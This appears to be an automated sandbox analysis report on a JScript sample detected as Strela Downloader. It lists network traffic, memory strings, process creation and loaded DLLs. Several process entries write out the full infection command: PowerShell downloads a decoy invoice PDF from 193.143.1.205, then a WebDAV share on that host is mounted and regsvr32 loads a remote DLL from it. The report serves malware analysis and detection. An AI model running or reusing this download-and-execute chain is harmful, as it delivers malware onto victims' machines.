HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1442420193.000001EBD85B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1555211916.000001C1D65FD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1550462408.000001C1D65D7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1537820660.000001C1D65D7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1535458435.000001C1D65FA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1543667499.000001C1D65A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1550462408.000001C1D65D7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1537820660.000001C1D65D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/C
Source: net.exe, 00000007.00000002.1543667499.000001C1D65A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pacei
Source: svchost.exe, 00000009.00000002.2723645549.000001C87BA00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1539158590.000001C87B940000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5768, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 4036231441630930293.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3228:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xxl0k42b.ycj.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4036231441630930293.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1648,i,4325848823295706323,9422019442632533307,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1648,i,4325848823295706323,9422019442632533307,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
